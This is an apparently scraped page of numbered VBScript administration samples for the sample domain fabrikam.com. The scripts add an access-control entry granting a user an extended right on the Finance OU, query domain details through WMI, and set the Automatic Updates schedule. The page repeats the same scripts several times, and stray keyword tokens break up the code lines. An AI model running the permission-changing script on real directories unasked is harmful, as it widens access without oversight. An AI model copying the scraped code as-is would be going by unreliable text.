                                                                                                                                                      Next

                                                                                                                                                      1492

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1493

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1494

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1495

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1496

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1498

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1499

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1500

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1502

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1504

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1505

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1506

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1507

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1508

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1509

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1510

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1511

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1513

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1515

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1516

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1524

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1526

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1527

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1530

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1533

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1534

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1535

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1536

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1537

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1538

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1539

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1540

                                                                                                                                                      Next

                                                                                                                                                      1544

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1545

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1547

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1548

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1550

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1557

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1559

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1560

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1563

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1565

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1566

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1567

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1568

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1569

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1570

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1572

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1574

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1575

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1576

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1577

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1578

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1579

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1580

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1581

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1582

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1584

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1586

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1587

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1588

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1589

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1590

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1591

                                                                                                                                                      Next

                                                                                                                                                      1597

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1598

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1599

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1600

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1601

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1603

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1604

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1605

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1607

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1609

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1610

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1611

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1612

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1613

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1614

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1615

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1616

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1618

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1620

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1621

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1629

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1631

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1632

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1635

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1638

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1639

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1640

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1641

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1642

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1643

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1644

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1645

                                                                                                                                                      Next

                                                                                                                                                      1649

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1650

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1652

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1653

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1655

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1662

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1664

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1665

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1668

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1670

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1671

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1672

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1673

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1674

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1675

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1677

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1679

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1680

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1681

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1682

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1683

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1684

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1685

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1686

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1687

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1689

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1691

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1692

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1693

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1694

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1695

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1696

                                                                                                                                                      Next

                                                                                                                                                      1702

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1703

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1704

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1705

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1706

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1708

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1709

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1710

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1712

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1714

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1715

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1716

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1717

                                                                                                                                                      objAce.Flags = ADS_FLAG_OBJECT_TYPE_PRESENT Or ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      Flags

                                                                                                                                                      ADS_FLAG_OBJECT_TYPE_PRESENT

                                                                                                                                                      ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT

                                                                                                                                                      1718

                                                                                                                                                      objAce.ObjectType = "{68b1d179-0d15-4d4f-ab71-46152e79a7bc}"

                                                                                                                                                      ObjectType

                                                                                                                                                      1719

                                                                                                                                                      objAce.InheritedObjectType = "{BF967ABA-0DE6-11D0-A285-00AA003049E2}"

                                                                                                                                                      InheritedObjectType

                                                                                                                                                      1720

                                                                                                                                                      objAce.AccessMask = ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      AccessMask

                                                                                                                                                      ADS_RIGHT_DS_CONTROL_ACCESS

                                                                                                                                                      1721

                                                                                                                                                      objDacl.AddAce objAce

                                                                                                                                                      AddAce

                                                                                                                                                      1723

                                                                                                                                                      objSD.DiscretionaryAcl = objDacl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1725

                                                                                                                                                      objSDUtil.Put "ntSecurityDescriptor", Array(objSD)

                                                                                                                                                      Put

                                                                                                                                                      Array

                                                                                                                                                      1726

                                                                                                                                                      objSDUtil.SetInfo

                                                                                                                                                      SetInfo

                                                                                                                                                      1734

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1736

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1737

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\sfuadmin")

                                                                                                                                                      GetObject

                                                                                                                                                      1740

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from SFU_Domain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1743

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1744

                                                                                                                                                      Wscript.Echo "DC: " & objItem.DC

                                                                                                                                                      Echo

                                                                                                                                                      DC

                                                                                                                                                      1745

                                                                                                                                                      Wscript.Echo "Default: " & objItem.Default

                                                                                                                                                      Echo

                                                                                                                                                      Default

                                                                                                                                                      1746

                                                                                                                                                      Wscript.Echo "Domain: " & objItem.Domain

                                                                                                                                                      Echo

                                                                                                                                                      Domain

                                                                                                                                                      1747

                                                                                                                                                      Wscript.Echo "Key Name: " & objItem.KeyName

                                                                                                                                                      Echo

                                                                                                                                                      KeyName

                                                                                                                                                      1748

                                                                                                                                                      Wscript.Echo "Maps: " & objItem.Maps

                                                                                                                                                      Echo

                                                                                                                                                      Maps

                                                                                                                                                      1749

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1750

                                                                                                                                                      Next

                                                                                                                                                      1754

                                                                                                                                                      Set objAutoUpdate = CreateObject("Microsoft.Update.AutoUpdate")

                                                                                                                                                      CreateObject

                                                                                                                                                      1755

                                                                                                                                                      Set objSettings = objAutoUpdate.Settings

                                                                                                                                                      Settings

                                                                                                                                                      1757

                                                                                                                                                      objSettings.ScheduledInstallationDay = 3

                                                                                                                                                      ScheduledInstallationDay

                                                                                                                                                      1758

                                                                                                                                                      objSettings.ScheduledInstallationTime = 4

                                                                                                                                                      ScheduledInstallationTime

                                                                                                                                                      1760

                                                                                                                                                      objSettings.Save

                                                                                                                                                      Save

                                                                                                                                                      1767

                                                                                                                                                      On Error Resume Next

                                                                                                                                                      1769

                                                                                                                                                      strComputer = "."

                                                                                                                                                      1770

                                                                                                                                                      Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")

                                                                                                                                                      GetObject

                                                                                                                                                      1773

                                                                                                                                                      Set colItems = objWMIService.ExecQuery("Select * from Win32_NTDomain")

                                                                                                                                                      ExecQuery

                                                                                                                                                      1775

                                                                                                                                                      For Each objItem in colItems

                                                                                                                                                      1776

                                                                                                                                                      Wscript.Echo "Client Site Name: " & objItem.ClientSiteName

                                                                                                                                                      Echo

                                                                                                                                                      ClientSiteName

                                                                                                                                                      1777

                                                                                                                                                      Wscript.Echo "DC Site Name: " & objItem.DcSiteName

                                                                                                                                                      Echo

                                                                                                                                                      DcSiteName

                                                                                                                                                      1778

                                                                                                                                                      Wscript.Echo "Description: " & objItem.Description

                                                                                                                                                      Echo

                                                                                                                                                      Description

                                                                                                                                                      1779

                                                                                                                                                      Wscript.Echo "DNS Forest Name: " & objItem.DnsForestName

                                                                                                                                                      Echo

                                                                                                                                                      DnsForestName

                                                                                                                                                      1780

                                                                                                                                                      Wscript.Echo "Domain Controller Address: " & objItem.DomainControllerAddress

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddress

                                                                                                                                                      1782

                                                                                                                                                      Wscript.Echo "Domain Controller Address Type: " & objItem.DomainControllerAddressType

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerAddressType

                                                                                                                                                      1784

                                                                                                                                                      Wscript.Echo "Domain Controller Name: " & objItem.DomainControllerName

                                                                                                                                                      Echo

                                                                                                                                                      DomainControllerName

                                                                                                                                                      1785

                                                                                                                                                      Wscript.Echo "Domain GUID: " & objItem.DomainGuid

                                                                                                                                                      Echo

                                                                                                                                                      DomainGuid

                                                                                                                                                      1786

                                                                                                                                                      Wscript.Echo "Domain Name: " & objItem.DomainName

                                                                                                                                                      Echo

                                                                                                                                                      DomainName

                                                                                                                                                      1787

                                                                                                                                                      Wscript.Echo "DS Directory Service Flag: " & objItem.DSDirectoryServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDirectoryServiceFlag

                                                                                                                                                      1788

                                                                                                                                                      Wscript.Echo "DS DNS Controller Flag: " & objItem.DSDnsControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsControllerFlag

                                                                                                                                                      1789

                                                                                                                                                      Wscript.Echo "DS DNS Domain Flag: " & objItem.DSDnsDomainFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsDomainFlag

                                                                                                                                                      1790

                                                                                                                                                      Wscript.Echo "DS DNS Forest Flag: " & objItem.DSDnsForestFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSDnsForestFlag

                                                                                                                                                      1791

                                                                                                                                                      Wscript.Echo "DS Global Catalog Flag: " & objItem.DSGlobalCatalogFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSGlobalCatalogFlag

                                                                                                                                                      1792

                                                                                                                                                      Wscript.Echo "DS Kerberos Distribution Center Flag: " & objItem.DSKerberosDistributionCenterFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSKerberosDistributionCenterFlag

                                                                                                                                                      1794

                                                                                                                                                      Wscript.Echo "DS Primary Domain Controller Flag: " & objItem.DSPrimaryDomainControllerFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSPrimaryDomainControllerFlag

                                                                                                                                                      1796

                                                                                                                                                      Wscript.Echo "DS Time Service Flag: " & objItem.DSTimeServiceFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSTimeServiceFlag

                                                                                                                                                      1797

                                                                                                                                                      Wscript.Echo "DS Writable Flag: " & objItem.DSWritableFlag

                                                                                                                                                      Echo

                                                                                                                                                      DSWritableFlag

                                                                                                                                                      1798

                                                                                                                                                      Wscript.Echo "Name: " & objItem.Name

                                                                                                                                                      Echo

                                                                                                                                                      Name

                                                                                                                                                      1799

                                                                                                                                                      Wscript.Echo "Primary Owner Contact: " & objItem.PrimaryOwnerContact

                                                                                                                                                      Echo

                                                                                                                                                      PrimaryOwnerContact

                                                                                                                                                      1800

                                                                                                                                                      Wscript.Echo

                                                                                                                                                      Echo

                                                                                                                                                      1801

                                                                                                                                                      Next

                                                                                                                                                      1807

                                                                                                                                                      Const ADS_ACETYPE_ACCESS_ALLOWED_OBJECT = &H5

                                                                                                                                                      1808

                                                                                                                                                      Const ADS_FLAG_OBJECT_TYPE_PRESENT = &H1

                                                                                                                                                      1809

                                                                                                                                                      Const ADS_FLAG_INHERITED_OBJECT_TYPE_PRESENT = &H2

                                                                                                                                                      1810

                                                                                                                                                      Const ADS_RIGHT_DS_CONTROL_ACCESS = &H100

                                                                                                                                                      1811

                                                                                                                                                      Const ADS_ACEFLAG_INHERIT_ACE = &H2

                                                                                                                                                      1813

                                                                                                                                                      Set objSDUtil = GetObject("LDAP://OU=Finance, DC=fabrikam,DC=Com")

                                                                                                                                                      GetObject

                                                                                                                                                      1814

                                                                                                                                                      Set objSD = objSDUtil.Get("ntSecurityDescriptor")

                                                                                                                                                      Get

                                                                                                                                                      1815

                                                                                                                                                      Set objDacl = objSD.DiscretionaryAcl

                                                                                                                                                      DiscretionaryAcl

                                                                                                                                                      1817

                                                                                                                                                      Set objAce = CreateObject("AccessControlEntry")

                                                                                                                                                      CreateObject

                                                                                                                                                      1819

                                                                                                                                                      objAce.Trustee = "FABRIKAM\kmyer"

                                                                                                                                                      Trustee

                                                                                                                                                      1820

                                                                                                                                                      objAce.AceFlags = ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      AceFlags

                                                                                                                                                      ADS_ACEFLAG_INHERIT_ACE

                                                                                                                                                      1821

                                                                                                                                                      objAce.AceType = ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      AceType

                                                                                                                                                      ADS_ACETYPE_ACCESS_ALLOWED_OBJECT

                                                                                                                                                      1822

